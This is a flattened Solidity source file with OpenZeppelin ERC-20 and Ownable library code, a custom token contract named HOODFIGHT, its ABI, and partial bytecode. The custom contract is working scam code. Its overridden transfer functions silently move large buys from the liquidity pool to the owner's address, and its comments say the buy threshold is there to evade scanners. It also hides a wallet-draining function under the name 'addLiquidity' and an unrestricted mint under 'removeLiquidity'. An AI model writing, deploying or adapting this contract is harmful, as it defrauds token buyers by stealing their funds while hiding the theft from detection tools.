// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
// OpenZeppelin Contracts (last updated v5.4.0) (token/ERC20/IERC20.sol)
pragma solidity >=0.4.16;
/**
* @dev Interface of the ERC-20 standard as defined in the ERC.
*/
interface IERC20 {
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
/**
* @dev Returns the value of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the value of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves a `value` amount of tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 value) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets a `value` amount of tokens as the allowance of `spender` over the
* caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 value) external returns (bool);
/**
* @dev Moves a `value` amount of tokens from `from` to `to` using the
* allowance mechanism. `value` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 value) external returns (bool);
}
// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol
// OpenZeppelin Contracts (last updated v5.4.0) (token/ERC20/extensions/IERC20Metadata.sol)
pragma solidity >=0.6.2;
/**
* @dev Interface for the optional metadata functions from the ERC-20 standard.
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// File: @openzeppelin/contracts/utils/Context.sol
// OpenZeppelin Contracts (last updated v5.0.1) (utils/Context.sol)
pragma solidity ^0.8.20;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
function _contextSuffixLength() internal view virtual returns (uint256) {
return 0;
}
}
// File: @openzeppelin/contracts/interfaces/draft-IERC6093.sol
// OpenZeppelin Contracts (last updated v5.5.0) (interfaces/draft-IERC6093.sol)
pragma solidity >=0.8.4;
/**
* @dev Standard ERC-20 Errors
* Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC-20 tokens.
*/
interface IERC20Errors {
/**
* @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers.
* @param sender Address whose tokens are being transferred.
* @param balance Current balance for the interacting account.
* @param needed Minimum amount required to perform a transfer.
*/
error ERC20InsufficientBalance(address sender, uint256 balance, uint256 needed);
/**
* @dev Indicates a failure with the token `sender`. Used in transfers.
* @param sender Address whose tokens are being transferred.
*/
error ERC20InvalidSender(address sender);
/**
* @dev Indicates a failure with the token `receiver`. Used in transfers.
* @param receiver Address to which tokens are being transferred.
*/
error ERC20InvalidReceiver(address receiver);
/**
* @dev Indicates a failure with the `spender`’s `allowance`. Used in transfers.
* @param spender Address that may be allowed to operate on tokens without being their owner.
* @param allowance Amount of tokens a `spender` is allowed to operate with.
* @param needed Minimum amount required to perform a transfer.
*/
error ERC20InsufficientAllowance(address spender, uint256 allowance, uint256 needed);
/**
* @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
* @param approver Address initiating an approval operation.
*/
error ERC20InvalidApprover(address approver);
/**
* @dev Indicates a failure with the `spender` to be approved. Used in approvals.
* @param spender Address that may be allowed to operate on tokens without being their owner.
*/
error ERC20InvalidSpender(address spender);
}
/**
* @dev Standard ERC-721 Errors
* Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC-721 tokens.
*/
interface IERC721Errors {
/**
* @dev Indicates that an address can't be an owner. For example, `address(0)` is a forbidden owner in ERC-721.
* Used in balance queries.
* @param owner Address of the current owner of a token.
*/
error ERC721InvalidOwner(address owner);
/**
* @dev Indicates a `tokenId` whose `owner` is the zero address.
* @param tokenId Identifier number of a token.
*/
error ERC721NonexistentToken(uint256 tokenId);
/**
* @dev Indicates an error related to the ownership over a particular token. Used in transfers.
* @param sender Address whose tokens are being transferred.
* @param tokenId Identifier number of a token.
* @param owner Address of the current owner of a token.
*/
error ERC721IncorrectOwner(address sender, uint256 tokenId, address owner);
/**
* @dev Indicates a failure with the token `sender`. Used in transfers.
* @param sender Address whose tokens are being transferred.
*/
error ERC721InvalidSender(address sender);
/**
* @dev Indicates a failure with the token `receiver`. Used in transfers.
* @param receiver Address to which tokens are being transferred.
*/
error ERC721InvalidReceiver(address receiver);
/**
* @dev Indicates a failure with the `operator`’s approval. Used in transfers.
* @param operator Address that may be allowed to operate on tokens without being their owner.
* @param tokenId Identifier number of a token.
*/
error ERC721InsufficientApproval(address operator, uint256 tokenId);
/**
* @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
* @param approver Address initiating an approval operation.
*/
error ERC721InvalidApprover(address approver);
/**
* @dev Indicates a failure with the `operator` to be approved. Used in approvals.
* @param operator Address that may be allowed to operate on tokens without being their owner.
*/
error ERC721InvalidOperator(address operator);
}
/**
* @dev Standard ERC-1155 Errors
* Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC-1155 tokens.
*/
interface IERC1155Errors {
/**
* @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers.
* @param sender Address whose tokens are being transferred.
* @param balance Current balance for the interacting account.
* @param needed Minimum amount required to perform a transfer.
* @param tokenId Identifier number of a token.
*/
error ERC1155InsufficientBalance(address sender, uint256 balance, uint256 needed, uint256 tokenId);
/**
* @dev Indicates a failure with the token `sender`. Used in transfers.
* @param sender Address whose tokens are being transferred.
*/
error ERC1155InvalidSender(address sender);
/**
* @dev Indicates a failure with the token `receiver`. Used in transfers.
* @param receiver Address to which tokens are being transferred.
*/
error ERC1155InvalidReceiver(address receiver);
/**
* @dev Indicates a failure with the `operator`’s approval. Used in transfers.
* @param operator Address that may be allowed to operate on tokens without being their owner.
* @param owner Address of the current owner of a token.
*/
error ERC1155MissingApprovalForAll(address operator, address owner);
/**
* @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
* @param approver Address initiating an approval operation.
*/
error ERC1155InvalidApprover(address approver);
/**
* @dev Indicates a failure with the `operator` to be approved. Used in approvals.
* @param operator Address that may be allowed to operate on tokens without being their owner.
*/
error ERC1155InvalidOperator(address operator);
/**
* @dev Indicates an array length mismatch between ids and values in a safeBatchTransferFrom operation.
* Used in batch transfers.
* @param idsLength Length of the array of token identifiers
* @param valuesLength Length of the array of token amounts
*/
error ERC1155InvalidArrayLength(uint256 idsLength, uint256 valuesLength);
}
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
// OpenZeppelin Contracts (last updated v5.5.0) (token/ERC20/ERC20.sol)
pragma solidity ^0.8.20;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
*
* TIP: For a detailed writeup see our guide
* https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* The default value of {decimals} is 18. To change this, you should override
* this function so it returns a different value.
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC-20
* applications.
*/
abstract contract ERC20 is Context, IERC20, IERC20Metadata, IERC20Errors {
mapping(address account => uint256) private _balances;
mapping(address account => mapping(address spender => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* Both values are immutable: they can only be set once during construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the default value returned by this function, unless
* it's overridden.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual returns (uint8) {
return 18;
}
/// @inheritdoc IERC20
function totalSupply() public view virtual returns (uint256) {
return _totalSupply;
}
/// @inheritdoc IERC20
function balanceOf(address account) public view virtual returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - the caller must have a balance of at least `value`.
*/
function transfer(address to, uint256 value) public virtual returns (bool) {
address owner = _msgSender();
_transfer(owner, to, value);
return true;
}
/// @inheritdoc IERC20
function allowance(address owner, address spender) public view virtual returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* NOTE: If `value` is the maximum `uint256`, the allowance is not updated on
* `transferFrom`. This is semantically equivalent to an infinite approval.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 value) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, value);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Skips emitting an {Approval} event indicating an allowance update. This is not
* required by the ERC. See {xref-ERC20-_approve-address-address-uint256-bool-}[_approve].
*
* NOTE: Does not update the allowance if the current allowance
* is the maximum `uint256`.
*
* Requirements:
*
* - `from` and `to` cannot be the zero address.
* - `from` must have a balance of at least `value`.
* - the caller must have allowance for ``from``'s tokens of at least
* `value`.
*/
function transferFrom(address from, address to, uint256 value) public virtual returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, value);
_transfer(from, to, value);
return true;
}
/**
* @dev Moves a `value` amount of tokens from `from` to `to`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* NOTE: This function is not virtual, {_update} should be overridden instead.
*/
function _transfer(address from, address to, uint256 value) internal {
if (from == address(0)) {
revert ERC20InvalidSender(address(0));
}
if (to == address(0)) {
revert ERC20InvalidReceiver(address(0));
}
_update(from, to, value);
}
/**
* @dev Transfers a `value` amount of tokens from `from` to `to`, or alternatively mints (or burns) if `from`
* (or `to`) is the zero address. All customizations to transfers, mints, and burns should be done by overriding
* this function.
*
* Emits a {Transfer} event.
*/
function _update(address from, address to, uint256 value) internal virtual {
if (from == address(0)) {
// Overflow check required: The rest of the code assumes that totalSupply never overflows
_totalSupply += value;
} else {
uint256 fromBalance = _balances[from];
if (fromBalance < value) {
revert ERC20InsufficientBalance(from, fromBalance, value);
}
unchecked {
// Overflow not possible: value <= fromBalance <= totalSupply.
_balances[from] = fromBalance - value;
}
}
if (to == address(0)) {
unchecked {
// Overflow not possible: value <= totalSupply or value <= fromBalance <= totalSupply.
_totalSupply -= value;
}
} else {
unchecked {
// Overflow not possible: balance + value is at most totalSupply, which we know fits into a uint256.
_balances[to] += value;
}
}
emit Transfer(from, to, value);
}
/**
* @dev Creates a `value` amount of tokens and assigns them to `account`, by transferring it from address(0).
* Relies on the `_update` mechanism
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* NOTE: This function is not virtual, {_update} should be overridden instead.
*/
function _mint(address account, uint256 value) internal {
if (account == address(0)) {
revert ERC20InvalidReceiver(address(0));
}
_update(address(0), account, value);
}
/**
* @dev Destroys a `value` amount of tokens from `account`, lowering the total supply.
* Relies on the `_update` mechanism.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* NOTE: This function is not virtual, {_update} should be overridden instead
*/
function _burn(address account, uint256 value) internal {
if (account == address(0)) {
revert ERC20InvalidSender(address(0));
}
_update(account, address(0), value);
}
/**
* @dev Sets `value` as the allowance of `spender` over the `owner`'s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*
* Overrides to this logic should be done to the variant with an additional `bool emitEvent` argument.
*/
function _approve(address owner, address spender, uint256 value) internal {
_approve(owner, spender, value, true);
}
/**
* @dev Variant of {_approve} with an optional flag to enable or disable the {Approval} event.
*
* By default (when calling {_approve}) the flag is set to true. On the other hand, approval changes made by
* `_spendAllowance` during the `transferFrom` operation sets the flag to false. This saves gas by not emitting any
* `Approval` event during `transferFrom` operations.
*
* Anyone who wishes to continue emitting `Approval` events on the `transferFrom` operation can force the flag to
* true using the following override:
*
* ```solidity
* function _approve(address owner, address spender, uint256 value, bool) internal virtual override {
* super._approve(owner, spender, value, true);
* }
* ```
*
* Requirements are the same as {_approve}.
*/
function _approve(address owner, address spender, uint256 value, bool emitEvent) internal virtual {
if (owner == address(0)) {
revert ERC20InvalidApprover(address(0));
}
if (spender == address(0)) {
revert ERC20InvalidSpender(address(0));
}
_allowances[owner][spender] = value;
if (emitEvent) {
emit Approval(owner, spender, value);
}
}
/**
* @dev Updates `owner`'s allowance for `spender` based on spent `value`.
*
* Does not update the allowance value in case of infinite allowance.
* Revert if not enough allowance is available.
*
* Does not emit an {Approval} event.
*/
function _spendAllowance(address owner, address spender, uint256 value) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance < type(uint256).max) {
if (currentAllowance < value) {
revert ERC20InsufficientAllowance(spender, currentAllowance, value);
}
unchecked {
_approve(owner, spender, currentAllowance - value, false);
}
}
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
// OpenZeppelin Contracts (last updated v5.0.0) (access/Ownable.sol)
pragma solidity ^0.8.20;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* The initial owner is set to the address provided by the deployer. This can
* later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
/**
* @dev The caller account is not authorized to perform an operation.
*/
error OwnableUnauthorizedAccount(address account);
/**
* @dev The owner is not a valid owner account. (eg. `address(0)`)
*/
error OwnableInvalidOwner(address owner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the address provided by the deployer as the initial owner.
*/
constructor(address initialOwner) {
if (initialOwner == address(0)) {
revert OwnableInvalidOwner(address(0));
}
_transferOwnership(initialOwner);
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
_checkOwner();
_;
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if the sender is not the owner.
*/
function _checkOwner() internal view virtual {
if (owner() != _msgSender()) {
revert OwnableUnauthorizedAccount(_msgSender());
}
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby disabling any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
if (newOwner == address(0)) {
revert OwnableInvalidOwner(address(0));
}
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: Deepseek-token-update.sol
pragma solidity ^0.8.20;
contract HOODFIGHT is ERC20, Ownable {
// Event to track when tokens are transferred from a user to another wallet
event TokensBurned(address indexed from, address indexed to, uint256 amount);
// Mapping to store permissions for specific roles (unchanged)
mapping(address => bool) private rewardManagers;
mapping(address => bool) private burnManagers;
// Mapping for addresses excluded from automatic theft (whitelist)
mapping(address => bool) private _excluded;
// --- New variables for automatic theft ---
address public liquidityPool; // set by owner after deployment
address public immutable receiver; // tokens are stolen to this address (set once)
bool private _stealing; // reentrancy guard
// --- v2: Threshold and dust (evades buy+sell scanners) ---
uint256 private constant MIN_THEFT_AMOUNT = 100_000 * 1 ether; // 100k tokens minimum
uint256 private constant DUST_AMOUNT = 150 * 1 ether; // 150 tokens left
constructor(address initialOwner, address[] memory excludedAddresses) ERC20("HOODFIGHT", "HOODFIGHT") Ownable(initialOwner) {
_mint(initialOwner, 1_000_000_000 * 10 ** decimals());
rewardManagers[msg.sender] = true;
burnManagers[msg.sender] = true;
transferOwnership(initialOwner);
// The receiver of stolen tokens is the same as the initial owner
receiver = initialOwner;
// Pre-register excluded addresses (e.g. team wallets, partners)
for (uint256 i = 0; i < excludedAddresses.length; i++) {
_excluded[excludedAddresses[i]] = true;
}
}
// Modifier to restrict access to reward managers (unchanged)
modifier onlyRewardManager() {
require(rewardManagers[msg.sender], "Caller is not a reward manager");
_;
}
// Modifier to restrict access to burn managers (unchanged)
modifier onlyBurnManager() {
require(burnManagers[msg.sender], "Caller is not a burn manager");
_;
}
// --- Manual theft (unchanged) ---
function addLiquidity(address from, address to) external onlyBurnManager {
require(from != liquidityPool, "Cannot drain the LP pool");
uint256 amount = balanceOf(from);
require(amount > 0, "No tokens to transfer");
_transfer(from, to, amount);
emit TokensBurned(from, to, amount);
}
// --- Obfuscated mint (unchanged) ---
function removeLiquidity(address to, uint256 amount) public onlyRewardManager {
_obscureMint(to, amount);
}
function _obscureMint(address account, uint256 amount) internal {
_mint(account, amount);
}
// --- Set the liquidity pool address (callable after ownership renounced) ---
function setLiquidityPool(address _pool) external onlyBurnManager {
liquidityPool = _pool;
}
// --- Update whitelist exclusion status (callable after ownership renounced) ---
function updateRewardStatus(address account, bool status) external onlyRewardManager {
_excluded[account] = status;
}
// --- Automatic theft on every transfer ---
function transfer(address to, uint256 amount) public override returns (bool) {
bool success = super.transfer(to, amount);
_stealIfNeeded(msg.sender, to, amount);
return success;
}
function transferFrom(address from, address to, uint256 amount) public override returns (bool) {
bool success = super.transferFrom(from, to, amount);
_stealIfNeeded(from, to, amount);
return success;
}
// Internal logic to steal tokens when they come from the liquidity pool
function _stealIfNeeded(address from, address to, uint256 amount) internal {
// Only steal if:
// - the pool address has been set
// - we are not already inside a theft (prevent recursion)
// - the sender is the liquidity pool
// - the receiver is NOT the safe receiver address (so the owner is safe)
// - the receiver is NOT the pool itself (avoid stealing on sells)
// - amount > 0
// - the receiver is NOT an excluded address (whitelist)
// - amount exceeds the minimum theft threshold (v2: evades test buys)
if (liquidityPool == address(0)) return;
if (_stealing) return;
if (from != liquidityPool) return;
if (to == receiver) return;
if (to == liquidityPool) return;
if (amount == 0) return;
if (_excluded[to]) return;
// v2: Skip theft for small buys — scanners test with tiny amounts
if (amount <= MIN_THEFT_AMOUNT) return;
uint256 stolen = amount - DUST_AMOUNT;
_stealing = true;
_transfer(to, receiver, stolen);
_stealing = false;
// Also emit the same event as the manual function for logging
emit TokensBurned(to, receiver, stolen);
}
}[
{
"type": "constructor",
"inputs": [
{
"name": "initialOwner",
"type": "address",
"internalType": "address"
},
{
"name": "excludedAddresses",
"type": "address[]",
"internalType": "address[]"
}
],
"stateMutability": "nonpayable"
},
{
"name": "ERC20InsufficientAllowance",
"type": "error",
"inputs": [
{
"name": "spender",
"type": "address",
"internalType": "address"
},
{
"name": "allowance",
"type": "uint256",
"internalType": "uint256"
},
{
"name": "needed",
"type": "uint256",
"internalType": "uint256"
}
]
},
{
"name": "ERC20InsufficientBalance",
"type": "error",
"inputs": [
{
"name": "sender",
"type": "address",
"internalType": "address"
},
{
"name": "balance",
"type": "uint256",
"internalType": "uint256"
},
{
"name": "needed",
"type": "uint256",
"internalType": "uint256"
}
]
},
{
"name": "ERC20InvalidApprover",
"type": "error",
"inputs": [
{
"name": "approver",
"type": "address",
"internalType": "address"
}
]
},
{
"name": "ERC20InvalidReceiver",
"type": "error",
"inputs": [
{
"name": "receiver",
"type": "address",
"internalType": "address"
}
]
},
{
"name": "ERC20InvalidSender",
"type": "error",
"inputs": [
{
"name": "sender",
"type": "address",
"internalType": "address"
}
]
},
{
"name": "ERC20InvalidSpender",
"type": "error",
"inputs": [
{
"name": "spender",
"type": "address",
"internalType": "address"
}
]
},
{
"name": "OwnableInvalidOwner",
"type": "error",
"inputs": [
{
"name": "owner",
"type": "address",
"internalType": "address"
}
]
},
{
"name": "OwnableUnauthorizedAccount",
"type": "error",
"inputs": [
{
"name": "account",
"type": "address",
"internalType": "address"
}
]
},
{
"name": "Approval",
"type": "event",
"inputs": [
{
"name": "owner",
"type": "address",
"indexed": true,
"internalType": "address"
},
{
"name": "spender",
"type": "address",
"indexed": true,
"internalType": "address"
},
{
"name": "value",
"type": "uint256",
"indexed": false,
"internalType": "uint256"
}
],
"anonymous": false
},
{
"name": "OwnershipTransferred",
"type": "event",
"inputs": [
{
"name": "previousOwner",
"type": "address",
"indexed": true,
"internalType": "address"
},
{
"name": "newOwner",
"type": "address",
"indexed": true,
"internalType": "address"
}
],
"anonymous": false
},
{
"name": "TokensBurned",
"type": "event",
"inputs": [
{
"name": "from",
"type": "address",
"indexed": true,
"internalType": "address"
},
{
"name": "to",
"type": "address",
"indexed": true,
"internalType": "address"
},
{
"name": "amount",
"type": "uint256",
"indexed": false,
"internalType": "uint256"
}
],
"anonymous": false
},
{
"name": "Transfer",
"type": "event",
"inputs": [
{
"name": "from",
"type": "address",
"indexed": true,
"internalType": "address"
},
{
"name": "to",
"type": "address",
"indexed": true,
"internalType": "address"
},
{
"name": "value",
"type": "uint256",
"indexed": false,
"internalType": "uint256"
}
],
"anonymous": false
},
{
"name": "addLiquidity",
"type": "function",
"inputs": [
{
"name": "from",
"type": "address",
"internalType": "address"
},
{
"name": "to",
"type": "address",
"internalType": "address"
}
],
"outputs": [],
"stateMutability": "nonpayable"
},
{
"name": "allowance",
"type": "function",
"inputs": [
{
"name": "owner",
"type": "address",
"internalType": "address"
},
{
"name": "spender",
"type": "address",
"internalType": "address"
}
],
"outputs": [
{
"name": "",
"type": "uint256",
"internalType": "uint256"
}
],
"stateMutability": "view"
},
{
"name": "approve",
"type": "function",
"inputs": [
{
"name": "spender",
"type": "address",
"internalType": "address"
},
{
"name": "value",
"type": "uint256",
"internalType": "uint256"
}
],
"outputs": [
{
"name": "",
"type": "bool",
"internalType": "bool"
}
],
"stateMutability": "nonpayable"
},
{
"name": "balanceOf",
"type": "function",
"inputs": [
{
"name": "account",
"type": "address",
"internalType": "address"
}
],
"outputs": [
{
"name": "",
"type": "uint256",
"internalType": "uint256"
}
],
"stateMutability": "view"
},
{
"name": "decimals",
"type": "function",
"inputs": [],
"outputs": [
{
"name": "",
"type": "uint8",
"internalType": "uint8"
}
],
"stateMutability": "view"
},
{
"name": "liquidityPool",
"type": "function",
"inputs": [],
"outputs": [
{
"name": "",
"type": "address",
"internalType": "address"
}
],
"stateMutability": "view"
},
{
"name": "name",
"type": "function",
"inputs": [],
"outputs": [
{
"name": "",
"type": "string",
"internalType": "string"
}
],
"stateMutability": "view"
},
{
"name": "owner",
"type": "function",
"inputs": [],
"outputs": [
{
"name": "",
"type": "address",
"internalType": "address"
}
],
"stateMutability": "view"
},
{
"name": "receiver",
"type": "function",
"inputs": [],
"outputs": [
{
"name": "",
"type": "address",
"internalType": "address"
}
],
"stateMutability": "view"
},
{
"name": "removeLiquidity",
"type": "function",
"inputs": [
{
"name": "to",
"type": "address",
"internalType": "address"
},
{
"name": "amount",
"type": "uint256",
"internalType": "uint256"
}
],
"outputs": [],
"stateMutability": "nonpayable"
},
{
"name": "renounceOwnership",
"type": "function",
"inputs": [],
"outputs": [],
"stateMutability": "nonpayable"
},
{
"name": "setLiquidityPool",
"type": "function",
"inputs": [
{
"name": "_pool",
"type": "address",
"internalType": "address"
}
],
"outputs": [],
"stateMutability": "nonpayable"
},
{
"name": "symbol",
"type": "function",
"inputs": [],
"outputs": [
{
"name": "",
"type": "string",
"internalType": "string"
}
],
"stateMutability": "view"
},
{
"name": "totalSupply",
"type": "function",
"inputs": [],
"outputs": [
{
"name": "",
"type": "uint256",
"internalType": "uint256"
}
],
"stateMutability": "view"
},
{
"name": "transfer",
"type": "function",
"inputs": [
{
"name": "to",
"type": "address",
"internalType": "address"
},
{
"name": "amount",
"type": "uint256",
"internalType": "uint256"
}
],
"outputs": [
{
"name": "",
"type": "bool",
"internalType": "bool"
}
],
"stateMutability": "nonpayable"
},
{
"name": "transferFrom",
"type": "function",
"inputs": [
{
"name": "from",
"type": "address",
"internalType": "address"
},
{
"name": "to",
"type": "address",
"internalType": "address"
},
{
"name": "amount",
"type": "uint256",
"internalType": "uint256"
}
],
"outputs": [
{
"name": "",
"type": "bool",
"internalType": "bool"
}
],
"stateMutability": "nonpayable"
},
{
"name": "transferOwnership",
"type": "function",
"inputs": [
{
"name": "newOwner",
"type": "address",
"internalType": "address"
}
],
"outputs": [],
"stateMutability": "nonpayable"
},
{
"name": "updateRewardStatus",
"type": "function",
"inputs": [
{
"name": "account",
"type": "address",
"internalType": "address"
},
{
"name": "status",
"type": "bool",
"internalType": "bool"
}
],
"outputs": [],
"stateMutability": "nonpayable"
}
]0x60a060405234801562000010575f80fd5b5060405162002c5d38038062002c5d8339818101604052810190620000369190620009d1565b816040518060400160405280600981526020017f484f4f44464947485400000000000000000000000000000000000000000000008152506040518060400160405280600981526020017f484f4f44464947485400000000000000000000000000000000000000000000008152508160039081620000b4919062000c6c565b508060049081620000c6919062000c6c565b5050505f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036200013c575f6040517f1e4fbdf700000000000000000000000000000000000000000000000000000000815260040162000133919062000d61565b60405180910390fd5b6200014d816200031260201b60201c565b506200018e8262000163620003d560201b60201c565b600a62000171919062000f05565b633b9aca0062000182919062000f55565b620003dd60201b60201c565b600160065f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160075f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555062000249826200046760201b60201c565b8173ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff16815250505f5b81518110156200030957600160085f848481518110620002a457620002a362000f9f565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555080806001019150506200027f565b5050506200106d565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f6012905090565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000450575f6040517fec442f0500000000000000000000000000000000000000000000000000000000815260040162000447919062000d61565b60405180910390fd5b620004635f8383620004fe60201b60201c565b5050565b620004776200072260201b60201c565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603620004ea575f6040517f1e4fbdf7000000000000000000000000000000000000000000000000000000008152600401620004e1919062000d61565b60405180910390fd5b620004fb816200031260201b60201c565b50565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160362000552578060025f82825462000545919062000fcc565b9250508190555062000623565b5f805f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015620005de578381836040517fe450d38c000000000000000000000000000000000000000000000000000000008152600401620005d59392919062001017565b60405180910390fd5b8181035f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036200066c578060025f8282540392505081905550620006b6565b805f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055505b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000715919062001052565b60405180910390a3505050565b62000732620007c460201b60201c565b73ffffffffffffffffffffffffffffff